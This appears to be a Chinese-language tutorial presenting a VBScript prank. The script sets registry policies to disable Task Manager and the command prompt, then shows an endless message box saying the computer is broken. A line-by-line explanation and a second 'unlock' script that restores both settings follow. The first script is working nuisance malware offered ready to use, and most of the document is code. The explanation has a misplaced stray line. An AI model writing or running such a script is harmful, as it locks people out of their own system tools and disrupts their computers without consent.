Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD"
do
msgbox"电脑坏了"
loop
代码解析:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
意思为:禁用任务管理器
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD"
do
意思为:禁用CMD命令提示符
do
内容
loop
意思为:反复执行
msgbox"文字"
意思为:弹窗(冒号里的内容)
整体的意思为:先禁用任务管理器和CMD,然后反复弹出弹窗。
解除禁用并结束进程
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"
WshShell.Run "taskmgr"
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", 0, "REG_DWORD"
msgbox"解锁成功"
代码解释:
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"
WshShell.Run "taskmgr"
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", 0, "REG_DWORD"
解释为:取消禁用任务管理器
msgbox"解锁成功"
解释为:提示解锁成功
整体解释:解除禁用并提示
第一段效果:
VBS演示效果
第二段效果:
VBS演示效果